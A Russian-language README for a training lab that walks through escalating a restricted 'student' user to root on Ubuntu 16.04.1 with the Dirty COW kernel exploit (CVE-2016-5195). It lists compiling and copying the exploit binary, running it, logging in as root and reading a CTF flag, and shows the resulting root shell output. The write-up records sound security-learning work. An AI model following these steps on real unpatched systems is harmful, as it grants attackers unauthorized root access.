dirtycow-lab

Эксплуатация уязвимости Dirty COW (CVE-2016-5195) в Ubuntu 16.04.1.

cat > README.md <<'EOF'

🐮 Эксплойт Dirty COW (CVE-2016-5195)

📌 Описание

Этот лабораторный стенд демонстрирует эксплуатацию уязвимости Dirty COW в системе Ubuntu Server 16.04.1 с уязвимым ядром.
Цель заключалась в повышении привилегий с ограниченного пользователя (student) до root и получении флага, расположенного в /root/flag.txt.

🛠️ Ход работы

1. Проверка ядра: Linux 4.4.0-31-generic (уязвимое).
2. Компиляция эксплойта: в Kali внутри Docker ubuntu:16.04 был скомпилирован dirtycow_passwd.c → бинарный файл dirty.
3. Передача: scp dirty student@<IP>:~/.
4. Запуск и повышение привилегий: chmod +x ~/dirty && ~/dirty → su root (пароль dirtyCowFun).
5. Флаг: cat /root/flag.txt → 4GEEKS{Y0u_G0t_R00t}.

✅ Результат

root@ubuntu:/home/student# whoami
root
root@ubuntu:/home/student# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/student# cat /root/flag.txt
4GEEKS{Y0u_G0t_R00t}

Полученный флаг